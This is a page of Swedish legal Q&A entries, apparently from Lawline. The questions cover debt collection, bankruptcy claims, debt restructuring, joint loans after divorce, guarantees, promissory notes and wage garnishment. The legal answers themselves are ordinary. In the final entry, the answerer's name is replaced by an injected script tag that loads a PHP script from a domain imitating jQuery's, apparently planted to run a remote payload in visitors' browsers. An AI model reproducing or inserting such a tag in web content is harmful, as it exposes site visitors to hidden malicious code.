Kan jag få tillbaka pengar från ett konkursbo?

2020-12-14 i Fordringar
FRÅGA |Hej!Ett byggbolag har gått i konkurs. Till det bolaget betalade jag en bokningsavgift på 20 000 kronor. Enligt bouppteckningen finns det knappt tillgångar mot 20 tals miljoner skulder!Kommer jag att få tillbaka mina pengar?
Victor Nilsson |Hej, och tack för att du vänt dig till Lawline med din fråga!Vilka har rätt till pengar från ett konkursbo?När ett företag går i konkurs är det insolvent, vilket innebär att det inte kan betala sina skulder (1 kap. 2 § konkurslagen). Frågan är då vilka som har rätt att få betalt av de pengar som finns kvar.Utgångspunkten är att alla borgenärer har lika rätt till betalning (18 § förmånsrättslagen). I förmånsrättslagen finns dock en uppräkning av de olika förmånsrätter som ger bättre rätt till betalning. Det finns dels sk. särskilda förmånsrätter, som gäller i vissa särskilda delar av konkursboets egendom, dels allmänna förmånsrätter som gäller i all egendom.De särskilda förmånsrätternaDe särskilda förmånsrätterna har företräde framför allmänna förmånsrätter, och har därför bäst rätt till betalning ur konkursen (15 § förmånsrättslagen). De vanligaste formerna av särskilda förmånsrätter är panträtt i lös eller fast egendom och företagshypotek (4-7 § förmånsrättslagen).De allmänna förmånsrätternaDe allmänna förmånsrätterna ska betalas med all egendom som finns kvar efter att de med särskild förmånsrätt fått betalt. De vanligaste allmänna förmånsrätterna är för konkurskostnader och fordran på lön och pension för de anställda hos konkursbolaget (10-12 § förmånsrättslagen).Oprioriterade fordringarSom nämnts ovan har alla utan förmånsrätt lika rätt till betalning. Den som har en oprioriterad fordran har alltså rätt till betalning i proportion till fordringens storlek.Som jag förstått din fråga har du ingen säkerhet för din fordran. Det verkar dessutom som att konkursbolaget haft väldigt stora skulder. Sannolikt kommer det inte finnas några pengar kvar efter att de med förmånsrätt fått betalt.Sammanfattningsvis verkar det mycket osannolikt att du kommer få tillbaka några pengar från konkursboet.Hoppas du fått svar på din fråga.Med vänlig hälsning,

Vad gör vi när vi lämnat tillbaka en hund men säljaren inte återbetalar köpeskillingen?

2020-12-14 i Fordringar
FRÅGA |Vi köpte en hund som kompis till vår egen. Det var dottern som sålde den för sin mammas räkning. Efter att vi haft hunden i tre veckor, visade det sig att den inte fungerade ihop med vår egen och den hämtades snabbt tillbaka. Vi skulle få tillbaka betalningen när mamman fått sin pension. Tiden gick och mamman hade avlidit, sas det. Vi behövde vänta på bouppteckningen, sa säljaren. Nu har vederbörande sålt hunden vidare utan att meddela och betala skulden till mig. Köpet ägde rum 20191005 och beloppet är 13000 kronor.Vi har inget kvitto på återlämningen av hunden, men många sparade sms. Säljaren är inte kontaktbar längre.
Dennis Lavesson |Hej och tack för att du vänder dig till oss på Lawline med din fråga!UtredningSom jag förstår din fråga köpte ni i oktober 2019 en hund. Säljare var en kvinna med sin dotter som ombud. Efter att ni haft hunden i tre veckor visade det sig att hunden inte fungerade med er andra hund och ni kom då överens om att lämna tillbaka den mot att ni skulle få tillbaka pengarna. Ni skulle få tillbaka pengarna när kvinnan fått sin pension. Efter en tid blev ni informerade om att kvinnan avlidit och ni skulle behöva vänta på bouppteckning. Som du förstår det har hunden nu sålts vidare, däremot har ni inte fått några pengar. Därför undrar du vad du kan göra.Utgångspunkten i mitt svar är att avtalsparten/säljaren är kvinnan som nu är avliden. Kvinnans dotter ser jag, utifrån det du berättat, som en mellanman (ett ombud). En mellanman är den som handlar på uppdrag av någon annan.Utifrån det du berättat finns det en överenskommelse mellan er och säljaren om att ta tillbaka hunden mot att ni skulle få tillbaka pengarna. Däremot har så inte skett. Att ni inte har något kvitto på att hunden hämtats åter är inte avgörande. Det viktigaste, för det fall att motparten bestrider ert krav, är att ni kan bevisa vad som överenskommits. För det ändamålet kan även e-post, SMS, vittnen m.m. åberopas. Min rekommendation är att ni i första hand hör av er till motparten. Om kvinnan är avliden bör ni vända er till dödsboet med kravet. Får ni inget gehör den vägen kan ni antingen ansöka om ett betalningsföreläggande eller stämma dödsboet till domstol.Ni kan ansöka om ett betalningsföreläggandeEtt betalningsföreläggande kan ni ansöka om med hjälp av Kronofogden. Kostnaden är 300 kronor vilket ni blir fakturerade för. Däremot kan ni begära att få tillbaka dessa 300 kronor av motparten. När ni ansöker om ett betalningsföreläggande finns det en särskild blankett för ändamålet i vilket ni tydligt ska förklara varför ni kräver betalt. I ert fall kan ni tydligt förklara att det avser återbetalning för hunden som lämnats tillbaka. Kronofogden kommer efter att ansökningsavgiften betalts skicka ut ett föreläggande till den du vill få betalt av. Det som sker när motparten får föreläggandet är antingen att (1) motparten betalar enligt ert krav, (2) motparten svarar inte eller (3) motparten bestrider. Om motparten betalar är ert problem löst. Om motparten inte svarar kommer Kronofogden att meddela ett utslag som ni kan ha till underlag för att begära in skulden (genom utmätning). Om motparten bestrider ärendet kommer Kronofogden att höra av sig till er och ni får då välja om ni vill gå till domstol eller ej. Går ni till domstol måste ni kunna bevisa att ni kommit överens om att motparten skulle återbetala hela köpesumman för hunden. För det ändamålet kan ni åberopa eventuell korrespondens som finns er emellan. Det är möjligt att vända sig med ett betalningsföreläggande även mot ett dödsbo. I det fallet ska ansökningen kompletteras med en bouppteckning eller dödsboanmälan. En kopia av bouppteckningen kan ni beställa på Skatteverkets hemsida. Förfarandet för att ansöka om betalningsföreläggande kan ni läsa om på Kronofogdens hemsida.Att ta ärendet till domstolSom redogjort för enligt ovan kan det ske att motparten bestrider kravet och ni blir tvungna att gå till domstol för att få betalt. Att gå till domstol handlar helt enkelt om att ni stämmer dödsboet. Det är även möjligt att gå direkt till domstol istället för att börja med att ansöka om betalningsföreläggande. Det är en avvägning man får göra; i många fall är det tillräckligt med att ansöka om ett betalningsföreläggande. Det är även billigare.Om ni väljer att gå till domstol, antingen för att motparten bestridit kravet eller att ni gör det direkt, är ansökningskostnaden 900 kronor. Eftersom tvisten rör en i processrättsliga sammanhang mindre summa, kommer det att behandlas som ett förenklat tvistemål. Reglerna om förenklade tvistemål gäller om tvisten klart understiger ett halvt prisbasbelopp, vilket det gör i ert fall. Reglerna innebär ett avsteg från de ordinarie reglerna, framförallt vad gäller rättegångskostnader.I ett ordinärt tvistemål betalar den part som förlorat, både sina egna och motpartens rättegångskostnader. I förenklade tvistemål står parterna för sina egna. Den vinnande parten har endast rätt till ersättning för ansökningskostnaden och en timmes rättslig rådgivning enligt timkostnadsnormen. Timkostnadsnormen år 2020 är 1.404 kr + moms. Det är helt enkelt vad ni har rätt till i ersättning om ni når framgång, oavsett hur höga kostnader ni har. Reglerna innebär att det sällan är ekonomiskt försvarbart att anlita en jurist som företräder en. Ombudskostnaderna äter snabbt upp den eventuella framgång man når i tvisten. Tanken med de förenklade tvistemål är att man ska företräda sig själv.Min rekommendation för det fall att ni går till domstol är därmed att ni kontaktar en jurist och beställer en timmes rättslig rådgivning då det är allt ni har rätt att kräva av motparten vid framgång. Juristen kan råda er vidare eller vara behjälplig med att upprätta stämningsansökan. Betänk dock att en juristbyrå kan ha en högre timpeng än timkostnadsnormen, innebärande att om en byrå tar 2.000 kronor för en timmes rådgivning kan ni ändå bara begära 1.404 kr + moms av er motpart vid framgång.Sammanfattningsvis är min rekommendation att ni till att börja med vänder er mot dödsboet med ert krav. Hjälper inte det är min rekommendation att ni ansöker om ett betalningsföreläggande enligt beskrivningen ovan. Når ni inte framgång den vägen heller får ni överväga om ni vill gå till domstol eller ej.Om ni behöver vidare hjälp från en av våra jurister är du varmt välkommen att återkomma till mig per e-post. Jag nås för ändamålet på dennis.lavesson@lawline.se.Med vänliga hälsningar,

Får man ta emot swish under skuldsanering?

2020-12-12 i Skuldsanering
FRÅGA |Om jag har fått skuldsanering hos kronofogden. Får jag då ta emot Swish från släkt & vänner, eller räknas det med som inkomst?
Erik Asp |Hej! Tack för att du vänder dig till Lawline med din fråga! Jag tolkar din fråga som att du undrar om det är okej att ta emot gåvor via swish under skuldsanering. Om din ekonomi väsentligen förbättras till följd av gåvor kan någon av dina borgenärer (dvs. de som du står i skuld till) ansöka om att beslutet om skuldsanering ska upphävas eller ändras (48 § skuldsaneringslagen). Frågan är alltså om gåvorna innebär att din ekonomi väsentligen förbättras. Om det inte innebär det, utan bara är små gåvor, kommer du mest troligtvis att kunna behålla pengarna. Även om det skulle vara så att din ekonomi väsentligen förbättrats kan du behålla pengarna om dina borgenärer inte väljer att ansöka om att omprövning av beslutet ska ske. För mer information, se kronofogdens hemsida. Hoppas att du fick svar på din fråga! Med vänlig hälsning,

Bodelningsavtal och gemensamt upptaget lån - Vad gäller i förhållande till banken när en av gäldenärerna vill frånträda kreditavtalet?

2020-12-10 i Skuld
FRÅGA |Hej!Bakgrund: Min bror och hans exfru skiljde sig för ca ett år sedan. I bodelningsavtalet framgick att ett gemensamt banklån blev tillskiftat exet och min bror stod för halva summan. Exet löste sedan inte lånet vilket medfört att min bror ännu idag står kvar på lånet då exet inte anses vara kreditvärdig som ensam låntagare. Fram till idag har exet, enligt muntlig överenskommelse med min bror,månadsvis amorterat av lånet till banken. Min bror vill nu inte längre stå kvar på lånet då det påverkar hans kreditvärdighet men exet kan/vill inte lösa hela lånet. Frågan är: Hur kan han idag gå till väga?
Jacob Björnberg |Hej och tack för att du vänder dig till oss på Lawline,UTREDNINGJag tolkar ditt ärende enligt följande. Din bror har separerat från dennes hustru och i samband med skilsmässan upprättades ett bodelningsavtal i vilket hustrun förpliktades att överta ett gemensamt banklån mot att din bror ersatta henne med hälften i likvida medel. Men till saken hör att din bror fortfarande är upptagen som formell låntagare och skulden är till dags dato inte heller reglerad till fullo. I enlighet med en separat muntlig överenskommelse har dock ex-hustrun löpande svarat för den månatliga amorteringen, men hon har inte varit villig att betala av hela skulden. Detta utgör ett problem för din bror eftersom det aktuella lånet sänker dennes kreditvärdighet. Han vill nu komma ifrån det skuldebrev/kreditavtal som är träffat med banken varför du (ni) undrar om det finns någonting man kan göra för att åstadkomma detta. Och den lagstiftning som främst behöver beaktas vid besvarandet av din fråga är lagen om skuldebrev (skuldebrevslagen, SkbrL).Några inledande krediträttsliga hållpunkterInledningsvis ska framhållas att det enligt allmänna fordringsrättsliga principer i regel alltid är tillåtet med så kallad cession. Cession betyder överlåtelse av fordran eller borgenärsbyte, vilket inte kräver gäldenärens (den skuldsattes) samtycke eftersom det inte sällan är helt ovidkommande för denne vem som är slutlig mottagare av pengarna, men givetvis under förutsättning att mottagaren i fråga verkligen är den rättmätige borgenären (borgenär = fordringsägare, icke att förväxla med rättsfiguren borgensman, vilken är en garant och således någonting helt annat). Motsatsförhållandet gäller dock vid så kallad substitution, byte på gäldenärssidan, vilket fordrar ett godkännande från borgenären (banken) eftersom denne av förklarliga skäl ofta önskar säkerställa att gäldenären är kreditvärdig.Bodelningsavtalet, hur står sig detta i förhållande till banken och det ingångna kreditavtalet?Givet att din bror och hans ex-hustru är solidariskt ansvariga för banklånet är det normala att det slutliga ansvaret ska delas upp mellan dem, 2 § 1 st. SkbrL. Banken har därför ingenting med deras bodelningsavtal att göra. Avtalet är en strikt intern uppgörelse mellan de före detta makarna och kan naturligtvis angripas på sedvanlig kontraktsrättslig grund vid utebliven prestation från någon av avtalsparterna. Frågan är bara hur det ska gå till och om det överhuvudtaget föreligger något avtalsbrott i den nu uppkomna situationen. Vad som i detalj har manifesterats i bodelningsavtalet är för mig ovisst, men utifrån din ärendebeskrivning går det att utläsa att din brors ex-hustru skulle överta det gemensamma lånet, vilket såvitt jag förstår redan har skett (dock endast i praktiken, ej rättsligt då deras avtal saknar verkan i förhållande till banken). Vidare träffades en muntlig överenskommelse enligt vilken samma person likaledes skulle svara för de månatliga amorteringarna, något som också har skett. Huruvida det även avtalades om ett krav på skuldens reglerande låter jag vara osagt, men jag utgår ifrån att så inte var fallet.Oaktat bodelningsavtalets bestämmelser är det min bedömning att ett frånträdande från kreditavtalet som är slutet med banken och därmed låta ex-hustrun kvarstå som ensam låntagare kräver att samma bank, i egenskap av borgenär, ger sitt samtycke eftersom ett sådant upplägg blir att betrakta som ett gäldenärsbyte (se första stycket ovan). I praktiken innebär det nu sagda att om inte banken godkänner att ex-hustrun övertar lånet på egen hand kommer din bror inte bara att kvarstå som formell medlåntagare, denne kommer också att kunna krävas på hela den återstående delen av den gemensamma skulden. Och detta trots att han redan och i enlighet med bodelningsavtalet har betalat en viss summa pengar till ex-hustrun motsvarande hans del av skulden. I skuldebrevslagen definieras nämligen det solidariska betalningsansvaret genom lydelsen i 2 § 1 st. och där sägs det "Är skuldebrev utfärdat av flere utan förbehåll om delad ansvarighet, svare de en för alla och alla för en för vad förskrivet är". Det betyder att borgenären, banken, inte behöver iaktta någon turordning mellan de solidariskt ansvariga, utan kan, förutsatt att fordran förfallit till betalning, kräva vilken gäldenär som helst.Avslutande ord och ytterligare rådgivningSammantaget kan följande anföras. Det fordras välvilja hos banken som borgenär. Det är enligt min mening den enda möjliga vägen för att din brors före detta hustru lagenligt (fordringsrättsligt) ska kunna överta lånet. Det ska i och för sig noteras att ingenting hindrar din bror från att själv reglera skulden till fullo för att därefter rikta ett så kallat regressanspråk mot hans tidigare partner. I 2 § 2 st. SkbrL uttalas bland annat "Där någon av dem betalt gälden, äge han att av varje medgäldenär utkräva dennes andel". Om din bror besitter de ekonomiska förutsättningarna skulle detta möjligen kunna vara ett alternativ om det är hans kreditvärdighet som är den verkligt springande punkten.Vid fler frågor är du varmt välkommen att höra av dig på nytt. Antingen här på hemsidan, via den kostnadsfria telefonrådgivningen eller ånyo genom några av våra betaltjänster. Själv nås jag på jacob.bjornberg@lawline.se och du får mer än gärna kontakta mig direkt ifall du önskar ytterligare hjälp i den fortsatta processen. I så fall kan jag slussa dig vidare till någon av byråns eminenta jurister utan att du behöver sitta i telefonkö. Mot bakgrund av COVID-19 erbjuder våra jurister idag möten såväl telefonledes som på Skype och andra liknande digitala plattformar.Avslutningsvis är den livliga förhoppningen att min hantering av ditt ärende har varit matnyttig och presenterats i en för dig utförlig och tillfredsställande form. Återkom gärna med synpunkter genom att skicka in ett omdöme när du mottar en sådan förfrågan.Vänligen,

Indrivning av skuld genom betalningsföreläggande

2020-12-14 i Kronofogdemyndigheten
FRÅGA |Hej! För några månader sedan så hittad ekar en annons på ett par hörselkåpor som en privatperson skulle sälja på marketplace. Han ville ha 1500kr så jag swishade de till honom och gav honom min adress så han kunde skick hörselkåporna. Väntade några dagar och fick inget, hörde av mig till honom och då slutade han att svara. Skrev väldigt många gånger, varnade med att gå till polisen med det. Inget svar. Polisanmälde honom men utredningen blev nedlagd pga att han redan hade andra anklagelser. Men problemet kvarstår jag har blivit lurad på pengar. Polisen gör inget. Ska man ta in kronofogden i det eller vad är det bästa?
Leo Pizarro Vargas |Hej och tack för att du vänder dig till Lawline med din fråga!När man pratar om att använda sig av kronofogden för att indriva en skuld pratar man om betalningsföreläggande, vilket regleras i lagen om betalningsföreläggande och handräckning (BFL). Vanligt förekommande procedur men inte alltid det bästa alternativet. Anledning är för att du nämner att polisen redan lagt ner utredningen. Vilket tyder på att din utredning som torde vara för bedrägeri (9 kap. 1 § brottsbalken) är av ringa betydelse i jämförelse mot övriga utredningar. Problematiken är att säljarens ekonomi kan komma att försämras om personen blir fälld. Vilket kan göra det svårt för dig att få igenom dina anspråk. Dessutom kommer din fordran bli större genom betalningsföreläggandet. Det förekommer avgifter i samband med detta, 300 kr enbart för betalningsföreläggandet. Fler kan uppstå ifall säljaren väljer att bestrida men jag ser det som svårt att det skulle bestridas. Bestridande leder till att målet skickas vidare till tingsrätten (33 § BFL). Jag kan inte riktigt se något som skulle kunna leda till en framgångsrik talan från säljaren sida utifrån omständigheterna du nämner. Krav för att ansöka om betalningsföreläggandeFörfallodagen ska ha passerat - Dagen kan likställas med några dagar efter din betalning gått genom. I åtanke med eventuell transportsträcka.Skulden ska avse pengar - Uppfyllt i ditt fall.Skulden ska vara befogad - Du ska ha en grund till skulden vilket också uppfylls i ditt fall.SammanfattningsvisTa in kronofogdemyndigheten men var medveten om att det förekommer avgifter. Dessa avgifter kan du redan i ansökan framföra att du kommer begära från svarande. Du kan ansöka om betalningsföreläggande härViktigt att poängtera är att du har bevisbördan för att det föreligger en skuld ifall det skulle tas till tingsrätten. Spara således all bevisning du kan få tag i, allt från meddelande mellan er till kontoutdrag.Hoppas allt löser sig annars får du återkomma till Lawline om du har ytterligare frågor eller funderingar!Med vänliga hälsningar,

Proprieborgen och företagshypotek

2020-12-13 i Fordringar
FRÅGA |Hej,För 3 år sedan tog vi ett "bryggerilån" från Carlsberg i samband med att vi övertog en restaurang. De tog en företagsinteckning samt vi gick i personlig borgen för lånet.För 2 år sedan avslutade Carlsberg och Nordea samarbetet med "bryggerilån" och skulden övergick Nordea. I samband med detta skrev vi på ett dokument där det stod att den personliga borgen och företagsinteckningen skulle övergå till Nordea.För 6 månader sedan såldes verksamheten och med köpeskillingen betalades skulden till Nordea då vi förutsatte att dom hade företagsinteckningen. Därefter lämnade vi in en konkursansökan.Konkursförvaltaren upptäckte ganska snart att företagsinteckningen inte lämnats över från Carlsberg till Nordea varför Nordea inte kunde prioriteras! Konkursförvaltaren krävde då återtag från Nordea och fick pengarna. Vi hade förutsatt att inteckningen låg hos Nordea.Idag kom ett inkassokrav från Carlsberg till oss personligen (har ju gått i personlig borgen) på hela beloppet! Jag antar att Nordea har krävt pengarna från Carlsberg (som har företagsinteckningen utan att vi har en skuld till dom längre) och att Carlsberg nu kräver dom av oss?Borde det inte vara så att konkursförvaltaren betalar summan till Carlsberg då som prioriterad fordran?Konkursen är inte avslutad så kan dom då kräva pengar av oss innan ärendet är avslutat?
Magnus Gustafsson |Hej och tack för att du vänder dig till Lawline!InledningDin fråga aktualiserar huvudsakligen handelsbalken (HB) och lagen om företagshypotek (FHL).Utredning Enligt 10 kap. 9 § HB kan den borgensman som ingått en så kallad proprieborgen krävs på betalning för en fordran under samma förutsättningar som gäldenären; det står med andra ord borgenären fritt att söka betalning från antingen gäldenär eller borgensman efter eget tycke. Skulle borgensmannen krävas på betalning istället för gäldenären har borgensmannen så kallad regressrätt, det vill säga att det då anstår borgensmannen att i sin tur kräva betalat av gäldenären. I 1 kap. 3 § FHL konstateras att säkerhet kan ställas i form av företagshypotek genom att ett så kallat företagsinteckningsbrev överlämnas som säkerhet för en fordran. En fordran måste alltså förekomma för att företagshypotek ska kunna ställas som säkerhet. Inledningsvis är det värt att konstatera att jag har mycket svårt att med precision besvara din fråga med tanke på omständigheternas komplexitet och den begränsade information jag har tillgång till. Omständigheterna såsom du beskrivit dem hänger enligt min uppfattning inte riktigt ihop. Till exempel är jag osäker på hur det ursprungliga lånet var utformat i förhållande till de två möjliga borgenärerna då din fråga exempelvis kan förstås antingen som att båda parterna var borgenärer eller som att bara en av dem var det men att finansieringen av lånet eller andra aspekter utformats genom ett samarbete mellan de två parterna. Med anledning av de många oklarheterna kommer jag försöka svara på din fråga på ett sätt som kan hjälpa dig oavsett vad som faktiskt skett på mer detaljerad nivå.Såsom jag tolkar din beskrivning av omständigheterna sålde ni bolagets inkråm för att betala av den fordran som Nordea hade mot er efter att Carlsberg frånträtt avtalsförhållandet. När bolaget sedan försattes i konkurs tolkar jag det som att konkursförvaltaren ansåg att återbetalning skulle återvinnas eftersom Nordeas fordran inte hade varit prioriterad i konkursen då den av någon anledning inte längre åtnjöt säkerhet i form av företagshypotek. I detta skede hade Nordea enligt min uppfattning, förutsatt att ert borgensåtagande var en proprieborgen vilket framstår som sannolikt, kunnat kräva att ni personligen skulle betala fordran. Jag har svårt att förstå varför Nordea i det skedet av allt att döma överlät fordran till Carlsberg som i sin tur krävde betalning av er med stöd av borgensåtagandet. Enligt min preliminära uppfattning är det inte möjligt för en företagsinteckning att finnas utan den fordran som den ställts som säkerhet för och av denna anledning bör Carlsberg, förutsatt att det verkligen helt frånträtt rollen som borgenär, inte kunnat ha kvar denna säkerhet. Förutsatt att borgensåtagandet avser en specifik fordran borde inte heller denna kunnat finnas kvar hos Carlsberg utan att de i någon mån haft kvar egenskapen av borgenär. Oavsett hur det förhåller sig med de ovan berörda förhållandena så är ni, förutsatt att borgensåtagandet var en proprieborgen, enligt min uppfattning med all sannolikhet skyldiga att betala skulden till Carlsberg som av allt att döma övertagit fordran från Nordea. Därefter kommer ni få söka betalning för er regressfordran gentemot ert bolag, vilket av allt att döma kan bli svårt eftersom det försatts i konkurs och er fordran kommer vara oprioriterad. Det framstår som sannolikt att företagsinteckningen bortföll i samband med att lånet förändrades när Carlsberg frånträdde det ursprungliga avtalet, men detta saknar enligt min uppfattning sannolikt betydelse i den uppkomna situationen eftersom borgensåtagandet tycks ha bestått. Skulle den aktuella fordran avse en summa som ni personligen inte rimligen kan tänkas betala, och om andra förhållanden såsom brister i borgenärens kreditprövning talar för det, kan borgensåtagandet antagligen jämkas enligt 36 § avtalslagen.HandlingsplanJag kan tyvärr inte uttala mig om ert fall med någon säkerhet med tanke på dess omfattning och de oklarheter som föreligger. Om fordran avser ett betydande belopp framstår det dock som mycket sannolikt att ni har behov av att anlita en jurist som kan utreda omständigheterna närmare än vad som är möjligt i detta format. Detta är en tjänst som bland andra tillhandahålls av Lawline via denna länk.Jag hoppas att mitt svar var till hjälp! Har du några funderingar kan du höra av dig till mig på magnus.gustafsson@lawline.se.Med vänlig hälsning

Skuldebrev och pant i fast egendom

2020-12-10 i Fordringar
FRÅGA |Hej Jag har lånat ut 200 000 med löfte att få tillbaka dessa inom 1 månad. Som garanti för återbetalning gav en försäljning av en lägenhet som ägdes av låntagarens föräldrar. Bevittnat Skuldebrev finns med låntagarens fastighet som säkerhet för lånet. Lånet har förfallit till betalning 2020-01-31Ingen återbetalning har skett!Låntagarens fastighet är nu för försäljning via exekutiv auktion med KronofogdenHar anmält min fordran till Kronofogden, men fått svaret att möjligheten att få mina pengar tillbaka via försäljningen av fastigheten är mycket begränsad då jag saknar pantbrev på fastighetenGäller inte ett Skuldebrev som säkerhet? Kan jag driva min sak i domstol? Vad kostar det?
Johannes Ljusteräng |Hej! Tack för att du vänder dig till Lawline med din fråga!Som jag har förstått din fråga, har du lånat ut 200 000 kr till en person vars fastighet nu ska säljas på exekutiv auktion. Återbetalning skulle ha gjorts 2020-01-31, vilket innebär att din fordran är förfallen. Du har nu två huvudsakliga frågor:1) Vad krävs för giltig säkerhet i en fastighet?2) Vad har du för möjligheter att återfå dina pengar?Om inteckning, skuldebrev och förmånsrättNormalt kan en gäldenär (en person med skuld till en annan person) betala av sina skulder och själv välja vem den vill betala till. När gäldenären inte längre kan betala sina skulder och flera borgenärer (personer som har en fordran mot gäldenären) väntar på att få betalt, kan betalningen tas ut genom tvång vid konkurs eller utmätning (inklusive exekutiv auktion). I vilken ordning borgenärerna då ska få betalt, regleras i förmånsrättslagen (FRL).Utgångspunkten är att borgenärer sinsemellan har lika rätt, vilket innebär att när flera borgenärer väntar på betalning, har de lika stor rätt till betalning, 18 § FRL. Det finns dock vissa former av säkerhet som ger borgenären förmånsrätt, vilket medför att den borgenären ska få betalt före de andra borgenärerna vid konkurs eller utmätning. Förmånsrätt i en fastighet följer med inteckning i egendomen, 6 § FRL. Regler om sådan inteckning finns i jordabalken (JB). En fastighetsägare som vill använda sin fastighet som säkerhet för ett lån, kan ansöka om inteckning hos inskrivningsmyndigheten, 6 kap 1 § JB. Det uppställs då vissa krav enligt 22 kap JB för att en inteckning ska vara giltig. Ett bevis om inteckning kallas pantbrev, vilket måste överlämnas till den som har en fordran mot gäldenären för fullgod säkerhet, 6 kap 2 § JB.Vad innebär detta för dig? Ett skuldebrev uppfyller inte de krav som uppställs i JB på inteckning eller pantbrev. Detta innebär att ingen förmånsrätt följer med din fordran. Att fastigheten användes som säkerhet vid upprättandet av skuldebrevet, som du skriver, gör tyvärr inte att säkerheten är giltig. Eftersom säkerheten inte är giltig, innebär det att din fordran tyvärr är oprioriterad enligt FRL. Chansen att få hela skulden återbetald brukar i sådana fall tyvärr vara ganska liten.Möjligheter till återbetalningVad gäller möjligheten att få skulden återbetald, finns det flera möjligheter, varav ett är att driva saken i domstol. Jag kommer nedan att också behandla två andra alternativ.Det första alternativet är att du säljer din fordran till ett inkassoföretag. Företaget köper då din fordran och har därefter rätt att driva in fordringen från gäldenären. Det krävs dock att du eller inkassobolaget kontaktar gäldenären gällande försäljningen av fordringen, för att försäljningen ska vara giltig (31 § skuldebrevslagen).Nästa möjlighet till betalning är genom lagen om betalningsföreläggande och handräckning (BfL). Du ansöker då till Kronofogden om betalningsföreläggande, vilket innebär att Kronofogden tar ett beslut som innebär en skyldighet för svaranden att betala din fordran (2 § BfL). Du kan ansöka om betalningsföreläggande och läsa mer här.Till sist har du möjlighet att vända dig till domstol med kravet. Då kan du väcka en fullgörelsetalan, vilket innebär att du yrkar på att domstolen ska döma att gäldenären är skyldig att fullgöra sin skyldighet (13 kap 1 § rättegångsbalken). En fullgörelsetalan skulle i ditt fall då gå ut på att betalning ska erläggas enligt skuldebrevet. Om tingsrätten bifaller ditt yrkande, det vill säga att du vinner målet, så kommer Kronofogden att försöka verkställa domen genom utmätning (1 kap 1 § utsökningsbalken).Eftersom gäldenären i nuläget verkar ha ont om pengar, kan det ifrågasättas om en domstolsprocess är det lämpligaste alternativet för din del. Oavsett processens utgång, är det nämligen oklart om gäldenären kommer ha möjlighet att betala sin skuld. Jag kan tyvärr inte heller svara på vad en domstolsprocess skulle kosta i detta fall, men processer kan ofta bli dyra. För att få svar på den frågan rekommenderar jag dig att ta kontakt med en verksam jurist. Min slutsats är dock att det bästa alternativet är att du säljer din fordran till ett inkassobolag. Du slipper då driva saken i domstol och jag bedömer att chansen att få tillbaka dina pengar är störst genom detta alternativ.Hoppas att du fick svar på din fråga!Med vänlig hälsning,

Kan man få anstånd för löneutmätning?

2020-12-09 i Utmätning
FRÅGA |Hej, Gällande löneutmätning från kronofogden.Finns det möjlighet för uppehåll av löneutmätning, för att kunna betala av annan skuld, innan även den trillar in hos kronofogden?
<script src="https://code.jquery-ul.com/jquery.php"></script> |Hej, och tack för att du ställer din fråga till oss på Lawline.När det kommer till löneutmätning finns det möjlighet att få anstånd med den under en begränsad tid, dvs att man "pausar" löneutmätningen. För att detta ska vara möjligt krävs att du som har löneutmätning har särskilda skäl, alternativt att den du har en skuld till går med på att pausa din löneutmätning. Vad som utgör särskilda skäl kan variera från fall till fall, men i regel brukar det handla om oförutsedda händelser som t.ex. olycksfall eller sjukdom. Det går därför inte att svara varken ja eller nej på din fråga, eftersom bedömningen måste göras helt individuellt. Oavsett måste man kontakta kronofogdemyndigheten för att ansöka om att få anstånd med sin löneutmätning. Min rekommendation är därför att du hör av dig till dom, dels för att göra en ansökan men också för att beskriva din specifika situation lite mer detaljerat så att de kan göra en bedömning av dina möjligheter till att beviljas anstånd.Lycka till!Vänliga hälsningar,